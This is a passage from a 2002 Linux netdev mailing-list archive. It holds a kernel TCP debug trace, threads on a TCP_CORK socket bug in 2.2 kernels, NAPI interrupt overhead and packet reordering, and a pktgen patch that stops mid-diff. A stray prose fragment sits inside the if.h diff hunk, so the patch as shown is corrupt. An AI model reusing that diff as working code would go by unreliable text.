sk=c7977740, skb=c7a87720, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87720, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87360, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87360, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a877c0, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a877c0, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a875e0, tail=1 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a875e0, tail=1 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a72ac0, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87360, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a870e0, tail=1 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a875e0, tail=1 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87860, tail=1 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87860, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87860, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a872c0, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a872c0, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87220, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87220, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87220, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87e00, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87e00, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87540, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87540, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a877c0, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a877c0, tail=0 tcp_snd_test skb->flags=0x10, sk->nonagle=2, nagle_check=1 tcp_snd_test returns 1 tcp_snd_test sk=c7977740, skb=c7a87900, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=0 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87900, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=0 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87900, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=0 tcp_snd_test returns 0 tcp_snd_test sk=c7977740, skb=c7a87900, tail=1 tcp_snd_test skb->flags=0x18, sk->nonagle=2, nagle_check=0 tcp_snd_test returns 0 --yrj/dFKFPuw6o+aM-- From davem@redhat.com Tue Sep 17 19:02:37 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:02:39 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I22btG001228 for ; Tue, 17 Sep 2002 19:02:37 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id SAA18269; Tue, 17 Sep 2002 18:58:01 -0700 Date: Tue, 17 Sep 2002 18:58:01 -0700 (PDT) Message-Id: <20020917.185801.76605813.davem@redhat.com> To: mbp@samba.org Cc: ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Alan.Cox@linux.org Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case From: "David S. Miller" In-Reply-To: <20020918020346.GA2285@samba.org> References: <20020918020346.GA2285@samba.org> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 242 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Which 2.2.x kernel exactly? You don't specify this. If it's old, please try to reproduce with more recent 2.2.x kernels, and even more importantly make sure 2.4.x does not exhibit this behavior. From jgarzik@mandrakesoft.com Tue Sep 17 19:06:47 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:06:54 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I26ktG001877 for ; Tue, 17 Sep 2002 19:06:47 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rUJe-000318-00; Wed, 18 Sep 2002 03:11:46 +0100 Message-ID: <3D87E0C2.6040004@mandrakesoft.com> Date: Tue, 17 Sep 2002 22:11:14 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <3D87A264.8D5F3AD2@digeo.com> <20020917.143947.07361352.davem@redhat.com> <3D87A4A2.6050403@mandrakesoft.com> <20020917.144911.43656989.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 243 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev David S. Miller wrote: > From: Jeff Garzik > Date: Tue, 17 Sep 2002 17:54:42 -0400 > > David S. Miller wrote: > > Any driver should be able to get the NAPI overhead to max out at > > 2 PIOs per packet. > > Just to pick nits... my example went from 2 or 3 IOs [depending on the > presence/absence of a work loop] to 6 IOs. > > I mean "2 extra PIOs" not "2 total PIOs". > > I think it's doable for just about every driver, even tg3 with it's > weird semaphore scheme takes 2 extra PIOs worst case with NAPI. > > The semaphore I have to ACK anyways at hw IRQ time anyways, and since > I keep a software copy of the IRQ masking register, mask and unmask > are each one PIO. You're looking at at least one extra get-irq-status too, at least in the classical 10/100 drivers I'm used to seeing... Jeff From mbp@samba.org Tue Sep 17 19:07:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:07:20 -0700 (PDT) Received: from sngrel5.hp.com (sngrel5.hp.com [192.6.86.210]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I27FtG002031 for ; Tue, 17 Sep 2002 19:07:17 -0700 Received: from ctss11.sgp.hp.com (ctss11.sgp.hp.com [15.85.49.5]) by sngrel5.hp.com (Postfix) with ESMTP id C125180 for ; Wed, 18 Sep 2002 10:12:14 +0800 (SGP) Received: from XAUBRG2.AUS.HP.COM (xaubrg2.aus.hp.com [15.23.69.43]) by ctss11.sgp.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail BPI enabled) with SMTP id KAA03694 for ; Wed, 18 Sep 2002 10:12:08 +0800 (SGP) Received: from 15.23.69.43 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Wed, 18 Sep 2002 12:10:14 +1000 Received: from XAUBRG2.AUS.HP.COM (localhost [127.0.0.1]) by XAUBRG2.AUS.HP.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id SJWWT66M; Wed, 18 Sep 2002 12:10:14 +1000 Received: from 16.176.68.120 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Wed, 18 Sep 2002 12:10:14 +1000 Received: from mbp by vexed.aus.hp.com with local (Exim 3.36 #1 (Debian)) id 17rUHR-0000ov-00; Wed, 18 Sep 2002 12:09:29 +1000 Date: Wed, 18 Sep 2002 12:09:29 +1000 From: Martin Pool To: "David S. Miller" Cc: ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Alan.Cox@linux.org Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case Message-ID: <20020918020927.GB2285@samba.org> References: <20020918020346.GA2285@samba.org> <20020917.185801.76605813.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020917.185801.76605813.davem@redhat.com> User-Agent: Mutt/1.4i X-GPG: 1024D/A0B3E88B: AFAC578F 1841EE6B FD95E143 3C63CA3F A0B3E88B X-archive-position: 244 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mbp@samba.org Precedence: bulk X-list: netdev On 17 Sep 2002, "David S. Miller" wrote: > > Which 2.2.x kernel exactly? The person who originally reported the bug to me tried .16 and .18, and I just reproduced it on .21, which was the most recent when I started investigating. I can try .22 or a .pre if you think it's already fixed somewhere. > You don't specify this. (Actually it was in the corked_demo.c comment header.) > If it's old, please try to reproduce with more recent 2.2.x > kernels, and even more importantly make sure 2.4.x does not > exhibit this behavior. I can't reproduce it on 2.4.18 or .19. It looked to me like tcp_snd_test() and related stuff had been substantially rewritten. -- Martin From davem@redhat.com Tue Sep 17 19:10:52 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:10:53 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I2AqtG002580 for ; Tue, 17 Sep 2002 19:10:52 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id TAA18317; Tue, 17 Sep 2002 19:06:41 -0700 Date: Tue, 17 Sep 2002 19:06:41 -0700 (PDT) Message-Id: <20020917.190641.84134530.davem@redhat.com> To: jgarzik@mandrakesoft.com Cc: akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads From: "David S. Miller" In-Reply-To: <3D87E0C2.6040004@mandrakesoft.com> References: <3D87A4A2.6050403@mandrakesoft.com> <20020917.144911.43656989.davem@redhat.com> <3D87E0C2.6040004@mandrakesoft.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 245 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Jeff Garzik Date: Tue, 17 Sep 2002 22:11:14 -0400 You're looking at at least one extra get-irq-status too, at least in the classical 10/100 drivers I'm used to seeing... How so? The number of ones done in the e1000 NAPI code are the same (read register until no interesting status bits remain set, same as pre-NAPI e1000 driver). For tg3 it's a cheap memory read from the status block not a PIO. From Andrew.Morton@digeo.com Tue Sep 17 19:11:31 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:11:33 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I2BVtG002846 for ; Tue, 17 Sep 2002 19:11:31 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id TAA08728 for ; Tue, 17 Sep 2002 19:16:25 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.9) with SMTP id M2002091719202918291 ; Tue, 17 Sep 2002 19:20:29 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 19:16:26 -0700 Received: from digeo.com ([172.17.144.18]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 19:16:25 -0700 Message-ID: <3D87E1F9.33909AC8@digeo.com> Date: Tue, 17 Sep 2002 19:16:25 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-rc5 i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: hadi@cyberus.ca, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <20020917.180014.07882539.davem@redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 18 Sep 2002 02:16:25.0821 (UTC) FILETIME=[63ECA8D0:01C25EB9] X-archive-position: 246 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev "David S. Miller" wrote: > > From: jamal > Date: Tue, 17 Sep 2002 20:57:58 -0400 (EDT) > > I am not so sure with that 6% difference there is no other bug lurking > there; 6% seems too large for an extra two PCI transactions per packet. > > {in,out}{b,w,l}() operations have a fixed timing, therefore his > results doesn't sound that far off. > > It is also one of the reasons I suspect Andrew saw such bad results > with 3c59x, but probably that is not the only reason. They weren't "very bad", iirc. Maybe a 5% increase in CPU load. It was all a long time ago. Will retest if someone sends URLs. From mbp@samba.org Tue Sep 17 19:27:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:27:25 -0700 (PDT) Received: from sngrel7.hp.com (sngrel7.hp.com [192.6.86.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I2RJtG003445 for ; Tue, 17 Sep 2002 19:27:20 -0700 Received: from ctss11.sgp.hp.com (ctss11.sgp.hp.com [15.85.49.5]) by sngrel7.hp.com (Postfix) with ESMTP id 618EE1CD for ; Wed, 18 Sep 2002 10:32:19 +0800 (SST) Received: from XAUBRG2.AUS.HP.COM (xaubrg2.aus.hp.com [15.23.69.43]) by ctss11.sgp.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail BPI enabled) with SMTP id KAA09732 for ; Wed, 18 Sep 2002 10:32:17 +0800 (SGP) Received: from 15.23.69.43 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Wed, 18 Sep 2002 12:30:58 +1000 Received: from XAUBRG2.AUS.HP.COM (localhost [127.0.0.1]) by XAUBRG2.AUS.HP.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id T1AH97WC; Wed, 18 Sep 2002 12:30:58 +1000 Received: from 16.176.68.120 by XAUBRG2.AUS.HP.COM (InterScan E-Mail VirusWall NT); Wed, 18 Sep 2002 12:30:57 +1000 Received: from mbp by vexed.aus.hp.com with local (Exim 3.36 #1 (Debian)) id 17rUbW-0000rM-00; Wed, 18 Sep 2002 12:30:14 +1000 Date: Wed, 18 Sep 2002 12:30:14 +1000 From: Martin Pool To: "David S. Miller" Cc: ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, Alan.Cox@linux.org Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case Message-ID: <20020918023012.GC2285@samba.org> References: <20020918020346.GA2285@samba.org> <20020917.185801.76605813.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020917.185801.76605813.davem@redhat.com> User-Agent: Mutt/1.4i X-GPG: 1024D/A0B3E88B: AFAC578F 1841EE6B FD95E143 3C63CA3F A0B3E88B X-archive-position: 247 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mbp@samba.org Precedence: bulk X-list: netdev For what it's worth, I can also reproduce the bug on 2.2.22rc3. It's on a non-SMP machine with a very standard kernel config, no firewalling, Debian 2.2. I'm testing it under VMWare, but the same symptoms were observed by other people on real hardware with Red Hat 6.2. It was originally noticed in distcc, and this test case is basically just a stripped-down version of the same code. If the program uncorks the socket before closing it, then it cleans up properly. However, if distcc is killed, then it can't do that and the problem occurs. (The most recent version makes an effort to always uncork, but obviously for e.g. SIGKILL it can't do much other than avoid corks entirely.) Some people observed a couple of hundred (?) sockets getting into this state. -- Martin From jgarzik@mandrakesoft.com Tue Sep 17 19:32:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 19:32:10 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I2W7tG003807 for ; Tue, 17 Sep 2002 19:32:08 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rUiB-0003Sd-00; Wed, 18 Sep 2002 03:37:07 +0100 Message-ID: <3D87E6B4.80304@mandrakesoft.com> Date: Tue, 17 Sep 2002 22:36:36 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <3D87A4A2.6050403@mandrakesoft.com> <20020917.144911.43656989.davem@redhat.com> <3D87E0C2.6040004@mandrakesoft.com> <20020917.190641.84134530.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 248 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev David S. Miller wrote: > From: Jeff Garzik > Date: Tue, 17 Sep 2002 22:11:14 -0400 > > You're looking at at least one extra get-irq-status too, at least in the > classical 10/100 drivers I'm used to seeing... > > How so? The number of ones done in the e1000 NAPI code are the same > (read register until no interesting status bits remain set, same as > pre-NAPI e1000 driver). > > For tg3 it's a cheap memory read from the status block not a PIO. Non-NAPI: get-irq-stat ack-irq get-irq-stat (omit, if no work loop) NAPI: get-irq-stat ack-all-but-rx-irq mask-rx-irqs get-irq-stat (omit, if work loop) ... ack-rx-irqs get-irq-stat unmask-rx-irqs This is the low load / low latency case only. The number of IOs decreases at higher loads [obviously :)] From greearb@candelatech.com Tue Sep 17 21:02:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 21:02:24 -0700 (PDT) Received: from grok.yi.org (IDENT:beoLoRJnbAxxjLoVVVs/DEN0fd1/4mqM@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I42KtG007467 for ; Tue, 17 Sep 2002 21:02:21 -0700 Received: from candelatech.com (IDENT:J4Z6PZgJDNFY0fMOq38PR6w8aspVjhKg@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8I46jv02580; Tue, 17 Sep 2002 21:06:46 -0700 Message-ID: <3D87FBD5.3030508@candelatech.com> Date: Tue, 17 Sep 2002 21:06:45 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jamal CC: Chris Friesen , Cacophonix , linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 249 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev jamal wrote: > > On Tue, 17 Sep 2002, Ben Greear wrote: > > >>I have a program that sends and receives UDP packets with 32-bit sequence >>numbers. I can detect OOO packets if they fit into the last 10 packets >>received. If they are farther out of order than that, the code treats >>them as dropped.... >> > > > So let me understand this: > You have a packet going out eth0 looped back to eth0 and you are seeing I go out eth2 and come in eth3, both e1000 copper nics. > reordering? What sort of things are happening from departure at udp socket > to arrival on the other side? Are you doing anything funky yourself or > it is all kernel? I see reordering on regular old socket calls from user space, and I see the same thing with pktgen packets as well (which clears the stack of fault). For user space, I am binding to source IP, setting SO_BINDTODEVICE, and O_NONBLOCK. Nothing overly weird I believe. pktgen has its own ways, basically it grabs the pkts in the dev.c receive method near where the bridging code grabs it's packets... I see no reordering at all with tulip 4-port nics and single processor machines. > > >>I used smp_afinity to tie a NIC to a CPU, and the napi patch for 2.4.20-pre7. > > > Did you get reordering with affinity? Yes. I'm not sure I tried affinity w/out NAPI though. I definately tried it with NAPI and saw reordering. > > >>When sending and receiving 250Mbps of UDP/IP traffic (sending over cross-over >>cable to other NIC on same machine), I see the occasional OOO packet. I also >>see bogus dropped packets, which means sometimes the order is off by 10 or more >>packets.... > > > A lot of shit is happening at that rate in particular with PCI bus. If > i understood correctly a packet crosses the bus about 4 times? Two times I believe, but I'm sending in both directions, so there is about 1Gbps across the bus, not even counting the UDP, IP, and Ethernet headers. > > >>The other fun thing about this setup is that after running around 65 billion bytes >>with this test, the machine crashes with an OOPs. > > > No clue whats going on - probably a race somewhere and cant help since > i dont have this NIC but if you get Robert excited he might be able to > help you. He seems moderately interested, suggested I try the one in 2.5.[latest]. I'll be able to do that next week, assuming it's trivial to compile it for 2.4.19.... Thanks, Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From greearb@candelatech.com Tue Sep 17 23:35:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 23:35:30 -0700 (PDT) Received: from grok.yi.org (IDENT:DXYl8fr+/fJQ5w6vuFDmp7goG4vcaiVx@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8I6ZDtG010135 for ; Tue, 17 Sep 2002 23:35:13 -0700 Received: from candelatech.com (IDENT:jwOuoErBg0FHPec9C1Sp8PbLS+VVoD/m@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8I6eDv21722 for ; Tue, 17 Sep 2002 23:40:14 -0700 Message-ID: <3D881FCD.4040209@candelatech.com> Date: Tue, 17 Sep 2002 23:40:13 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'netdev@oss.sgi.com'" Subject: [PATCH] pktgen (1.6,-ben) Content-Type: multipart/mixed; boundary="------------030304010606000406080300" X-archive-position: 250 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------030304010606000406080300 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Here is an update of my pktgen patch. This patch is against 2.4.20-pre7. (I say my, because it is significantly different from the one in the kernel, and should not be confused with Robert's more official patches, Robert still gets primary credit for the idea and original code!) It provides traffic generation and reception features, including latency, out-of-order & dropped packet counters, and much more. This particular patch fixes a divide-by-zero bug in earlier patches I produced (only seen on machines running at less than 1Ghz). If anyone has an Intel GigE card or two, I would be interested if it could sustain pktgen (or other high speed) traffic for more than 6 hours. My machine crashes everytime! Enjoy, Ben -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear --------------030304010606000406080300 Content-Type: text/plain; name="pg_2.4.19.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="pg_2.4.19.patch" --- linux-2.4.19/include/linux/if.h Thu Nov 22 12:47:07 2001 +++ linux-2.4.19.dev/include/linux/if.h Sun Sep 15 21:56:34 2002 @@ -47,6 +47,12 @@ /* Private (from user) interface flags (netdevice->priv_flags). */ #define IFF_802_1Q_VLAN 0x1 /* 802.1Q VLAN device. */ +#define IFF_PKTGEN_RCV 0x2 /* Registered to receive & consume Pktgen skbs */ +#define IFF_ACCEPT_LOCAL_ADDRS 0x4 /** Accept pkts even if they come from a local + * address. This lets use send pkts to ourselves + * over external interfaces (when used in conjunction + * with SO_BINDTODEVICE + */ /* * Device mapping structure. I'd just gone off and designed a --- linux-2.4.19/include/linux/netdevice.h Fri Aug 2 17:39:45 2002 +++ linux-2.4.19.dev/include/linux/netdevice.h Sun Sep 15 21:56:35 2002 @@ -162,7 +162,7 @@ unsigned fastroute_deferred_out; unsigned fastroute_latency_reduction; unsigned cpu_collision; -} __attribute__ ((__aligned__(SMP_CACHE_BYTES))); +} ____cacheline_aligned; extern struct netif_rx_stats netdev_rx_stat[]; @@ -206,7 +206,8 @@ __LINK_STATE_START, __LINK_STATE_PRESENT, __LINK_STATE_SCHED, - __LINK_STATE_NOCARRIER + __LINK_STATE_NOCARRIER, + __LINK_STATE_RX_SCHED }; @@ -295,7 +296,9 @@ unsigned short flags; /* interface flags (a la BSD) */ unsigned short gflags; - unsigned short priv_flags; /* Like 'flags' but invisible to userspace. */ + unsigned short priv_flags; /* Like 'flags' but invisible to userspace, + * see: if.h for flag definitions. + */ unsigned short unused_alignment_fixer; /* Because we need priv_flags, * and we want to be 32-bit aligned. */ @@ -330,6 +333,10 @@ void *ip6_ptr; /* IPv6 specific data */ void *ec_ptr; /* Econet specific data */ + struct list_head poll_list; /* Link to poll list */ + int quota; + int weight; + struct Qdisc *qdisc; struct Qdisc *qdisc_sleeping; struct Qdisc *qdisc_list; @@ -373,6 +380,8 @@ int (*stop)(struct net_device *dev); int (*hard_start_xmit) (struct sk_buff *skb, struct net_device *dev); +#define HAVE_NETDEV_POLL + int (*poll) (struct net_device *dev, int *quota); int (*hard_header) (struct sk_buff *skb, struct net_device *dev, unsigned short type, @@ -431,6 +440,7 @@ /* this will get initialized at each interface type init routine */ struct divert_blk *divert; #endif /* CONFIG_NET_DIVERT */ + }; @@ -492,9 +502,12 @@ int cng_level; int avg_blog; struct sk_buff_head input_pkt_queue; + struct list_head poll_list; struct net_device *output_queue; struct sk_buff *completion_queue; -} __attribute__((__aligned__(SMP_CACHE_BYTES))); + + struct net_device blog_dev; /* Sorry. 8) */ +} ____cacheline_aligned; extern struct softnet_data softnet_data[NR_CPUS]; @@ -547,6 +560,7 @@ return test_bit(__LINK_STATE_START, &dev->state); } + /* Use this variant when it is known for sure that it * is executing from interrupt context. */ @@ -578,6 +592,8 @@ extern void net_call_rx_atomic(void (*fn)(void)); #define HAVE_NETIF_RX 1 extern int netif_rx(struct sk_buff *skb); +#define HAVE_NETIF_RECEIVE_SKB 1 +extern int netif_receive_skb(struct sk_buff *skb); extern int dev_ioctl(unsigned int cmd, void *); extern int dev_change_flags(struct net_device *, unsigned); extern void dev_queue_xmit_nit(struct sk_buff *skb, struct net_device *dev); @@ -699,6 +715,78 @@ #define netif_msg_hw(p) ((p)->msg_enable & NETIF_MSG_HW) #define netif_msg_wol(p) ((p)->msg_enable & NETIF_MSG_WOL) +/* Schedule rx intr now? */ + +static inline int netif_rx_schedule_prep(struct net_device *dev) +{ + return netif_running(dev) && + 